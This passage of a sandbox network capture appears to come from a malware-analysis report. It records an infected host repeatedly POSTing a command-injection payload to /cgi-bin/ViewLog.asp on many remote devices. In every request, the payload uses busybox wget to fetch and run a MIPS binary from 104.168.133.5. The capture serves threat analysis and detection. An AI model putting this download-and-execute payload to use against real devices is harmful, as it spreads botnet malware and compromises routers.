                                                709192.168.2.155067294.121.118.988080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:44.575897932 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                710192.168.2.155610631.200.46.1528080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:44.673037052 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:48.760514975 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:54.904232979 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:06.935894012 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                711192.168.2.154815631.136.141.1208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:44.979842901 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:45.560501099 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:46.712486029 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:49.016418934 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:53.624279976 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:23:02.840023994 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                712192.168.2.155921094.122.192.1208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:45.015811920 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                713192.168.2.154427694.122.125.1028080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:45.015968084 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                714192.168.2.155819894.139.161.948080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:45.278012991 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:46.200500965 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                715192.168.2.153820695.214.180.2368080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:45.869754076 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:46.050761938 CET142INHTTP/1.0 400 Bad Request
                                                Data Raw: 43 6c 69 65 6e 74 20 73 65 6e 74 20 61 6e 20 48 54 54 50 20 72 65 71 75 65 73 74 20 74 6f 20 61 6e 20 48 54 54 50 53 20 73 65 72 76 65 72 2e 0a
                                                Data Ascii: Client sent an HTTP request to an HTTPS server.


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                716192.168.2.153950294.24.37.2268080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:45.883788109 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                717192.168.2.153526694.121.71.98080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:45.927628040 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                718192.168.2.153381694.248.130.2208080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:46.141685009 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                719192.168.2.155131695.86.120.2188080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:46.153970957 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                720192.168.2.156063095.86.89.238080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:46.153994083 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                721192.168.2.155259494.46.182.918080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:22:46.875922918 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:22:47.076570988 CET1340INHTTP/1.1 400 Bad Request
                                                Date: Thu, 23 Nov 2023 04:22:46 GMT
                                                Server: Apache
                                                Accept-Ranges: bytes
                                                Cache-Control: no-cache, no-store, must-revalidate
                                                Pragma: no-cache
                                                Expires: 0
                                                Connection: close
                                                Content-Type: text/html
                                                Data Raw: 0a 0a 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 3e 0a 20 20 20 20 3c 68 65 61 64 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 61 63 68 65 2d 63 6f 6e 74 72 6f 6c 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 50 72 61 67 6d 61 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 2d 63 61 63 68 65 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 45 78 70 69 72 65 73 22 20 63 6f 6e 74 65 6e 74 3d 22 30 22 3e 0a 20 20 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 22 3e 0a 20 20 20 20 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 20 20 20 20 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0a 20 20 20 20 20 20 20 20 62 6f 64 79 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 41 72 69 61 6c 2c 20 48 65 6c 76 65 74 69 63 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 66 6f 6e 74 2d 73 69 7a 65 3a 20 31 34 70 78 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 65 2d 68 65 69 67 68 74 3a 20 31 2e 34 32 38 35 37 31 34 32 39 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 66 66 66 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 63 6f 6c 6f 72 3a 20 23 32 46 33 32 33 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 73 65 63 74 69 6f 6e 2c 20 66 6f 6f 74 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 64 69 73 70 6c 61 79 3a 20 62 6c 6f 63 6b 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 3a 20 30 3b 0a 20 20 20 20 20 20 20 20 7d 0a 20 20 20 20 20 20 20 20 2e 63 6f 6e 74 61 69 6e 65 72 20 7b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 20 61 75 74 6f 3b 0a 20 20 20 20 20 20 20 20 20 20 20 20 70 61 64 64 69 6e 67 3a 20 30 20 31 